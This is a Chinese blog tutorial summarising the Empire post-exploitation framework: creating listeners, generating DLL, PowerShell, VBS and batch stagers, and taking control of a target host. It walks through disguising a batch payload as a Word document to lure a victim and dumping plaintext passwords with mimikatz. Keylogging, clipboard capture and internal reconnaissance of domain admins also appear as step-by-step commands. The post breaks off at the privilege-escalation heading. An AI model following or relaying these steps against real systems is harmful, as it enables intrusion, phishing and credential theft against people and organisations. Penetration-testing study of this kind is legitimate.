Hu3sky's blog

Empire使用总结

Word count: 2,015 / Reading time: 7 min
2018/05/23 Share

Empire基本操作

  1. 安装
    安装就不具体说了,网上一搜一大堆。
  2. 设置监听
    先进入empire,这里说下我遇到的问题,打开empire时我必须要sudo ./empire才行。1
    使用help可以查看帮助,Empire和Metasploit的使用原理是一样的,都是先设置一个监听,然后去生成一个木马,然后在目标主机运行该木马,我们的监听就会连接上反弹回来的代理。
    使用listeners可以进入我们的线程界面,一开始是没有的,所以我们输入uselistener来设置模式,可以双击Tab查看,我们这里设置http监听,输入 uselistener http 进入。使用info查看参数设置2.False是我们不需要设置的,我们这里设置Name,Host,Port。输入
    1
    2
    set Name hu3sky
    set Host xxx.xxx.xxx.xxx(Empire所在服务器ip)

然后再输入info查看。接着使用execute执行3这里需要注意,开启多个监听,名称必须不一样,而且端口也必须不一样,否则不能创建。

0x00 生成马儿🐎

Empire里拥有多个模块化的stagers,接着输入usestager来设置采用何种模块,我们同样通过双击Tab键可以看到一共有26个模块。如下图所示。(back可以退回到listeners)。。这里不知道为什么双击出现不了。。借用一张网上的图片4。其中multi为通用模块、osx是mac操作系统、剩下的就是windows的模块,下面我们挑选其中几种常用类型的木马来具体讲解。

  1. dll
    输入usestager windows/dll的命令,然后输入info命令来查看详细参数,如下图所示5这里我们需要设置一下listener,set Listener hu3sky 接着execute。就会在tmp目录下生成launcher.dll的木马。6然后在目标机下运行,就会反弹会一个shell
    7

  2. launcher

如果只是需要简单的powershell代码,在设置完相应模块后,可以直接在监听器菜单中键入“launcher ”,这将很快为您生成一行base64编码代码,这里输入back命令回到listeners下,然后输入launcher powershell shuteer(当前设置的listener名字)命令来生成一个Payload。如下图所示。8直接将其在目标机cmd下运行就好了(前提是目标机有powershell)
反弹了一个shell9。可以看到运行后目标主机上线,我们输入agents就可以看到上线目标主机的具体内容,这里的Agents就相当于Metasploit的会话sessions如下图所示。10这里的代理Name他会取一个随机的名字,这里我们可以修改这个随机名字,使用rename 命令。

  1. launcher_vbs
    输入usestager windows/launcher_bat的命令,然后输入info命令查看详细参数.参数设置与launcher相似,这里就不做重复了。依然会生成在/tmp/launcher.vbs,在目标机上运行即可得到shell

  2. launcher_bat
    输入usestager windows/launcher_bat的命令,然后输入info命令查看详细参数,也与launcher类似。
    为了增加迷惑,也可以将该批处理插入到一个office文件中,这里随便找个word或者excel文件,点击“插入”标签选择“对象”,然后选择“由文件创建”,点击“浏览”,并选择刚才生成的批处理文件,然后勾选“显示为图标”,点击“更改图标”来更改一个更具诱惑的图标。在“更改图标”界面里,我们可以选择一个图标,这里建议使用微软Excel、Word或PowerPoint图标,这里我们使用了word的图标,并且更改文件的名称为研究成果,扩展名改为doc。点击确定后,该对象就会插入到word文件中,接着在listeners下监听,然后将该word文件发给目标,一旦在目标机上打开,并运行了内嵌的批处理文件,就会得到这个主机的权限,这里我们使用的虚拟机是win10的64位旗舰版,安装有系统自带的Defender,运行后,成功上线,Defender没有任何提示,杀软会报宏病毒。(暂时没测试起,倒是把我本机的shell反弹回来了)

0x01 连接目标主机

agents查看主机11,如果Username带有*的就是已经提权成功的。我们这台win7已经自动提取成功了。我们interact+Name进入连接代理。12执行whoami可以看到我们的身份已经是管理员了.使用help可以查看所有命令。注意的是Linux的命令也可以使用。使用help agentcmds查看常用命令。使用cmd命令时,需要用shell 命令的格式。empire还内置了抓取明文密码的神器mimikatz。我们直接输入mimikatz。
13可以看到抓到了明文密码。使用creds提取出密码14
实际渗透过程中由于种种原因总会有部分反弹丢失或者失效,可以使用list stale命令来列出已经丢失的反弹代理,然后用remove stale来删去已经失效的反弹

后渗透

0x02 信息收集

Empire主要用于后渗透。所以信息收集是比较常用的一个模块,我们可以使用searchmodule命令搜索需要使用的模块,这里通过键入“usemodule collection”然后按Tab键来查看完整列表,如下图所示。
15

  1. 屏幕截图 直接 sc ,可以看到生成了一个截图16
  2. 键盘记录 usemodule collection/keylogger info查看参数。设置保持默认就可以,我们输入execute启动,就开启记录键盘输入了,会自动在empire/downloads/<AgentName>下生成一个agent.log。
  3. 剪切板记录。这个模块允许你抓取存储在目标主机Windows剪贴板上的任何内容。模块参数可以设置抓取限制和间隔时间,一般情况下,保持默认设置就可以,这里我们输入usemodule collection/clipboard_monitor,同样info命令可以查看具体参数,直接execute。可以看到结果,17
  4. 收集目标主机有用的信息
    输入命令usemodule situational_awareness/host/winenum,可以查看本机用户,域组成员,最后密码设置时间,剪贴板内容,系统基本系统信息,网络适配器信息,共享信息等等,如下图所示18
  5. ARP扫描
    输入usemodule situational_awareness/network/arpscan,输入info命令查看具体参数,这里要设置一下Range参数,输入下列命令设置为要扫描的网段,如下图所示
    1
    2
    set Range 192.168.31.0-192.168.31.254
    execute

同样Empire也内置了端口扫描模块, situational_awareness/network/portscan

  1. DNS信息获取
    在内网中,知道所有机器的HostName和对应的IP地址对分析内网结构至关重要,输入usemodule situational_awareness/network/reverse_dns命令使用该模块,输入info命令查看具体参数,这里要设置一下Range参数,输入你要扫描的IP网段运行,如果该主机同时有2个网卡,Empire也会显示出来,方便我们寻找边界主机。另一个模块模块situational_awareness/host/dnsserver,可以显示出当前内网DNS服务器IP地址
  2. 查找域管登陆服务器IP
    在内网渗透中,拿到内网中某一台机器,想要获得域管权限,有一种方法是找到域管登陆的机器,然后横向渗透进去,窃取域管权限,从而拿下整个域,这个模块就是用来查找域管登陆的机器。
    使用模块usemodule situational_awareness/network/powerview/user_hunter,输入info查看设置参数。这个模块可以清楚看到哪个用户登录了哪台主机
  3. 本地管理组访问模块
    使用usemodule situational_awareness/network/powerview/find_localadmin_access模块,不需要做什么设置,直接运行execute即可
  4. 获取域控制器
    现在可以用usemodulesituational_awareness/network/powerview/get_domain_controller模块来确定我们当前的域控制器,因为我们有了域用户权限,输入execute

0x03 提权

CATALOG
  1. 1. Empire基本操作
    1. 1.1. 0x00 生成马儿🐎
    2. 1.2. 0x01 连接目标主机
  2. 2. 后渗透
    1. 2.1. 0x02 信息收集
    2. 2.2. 0x03 提权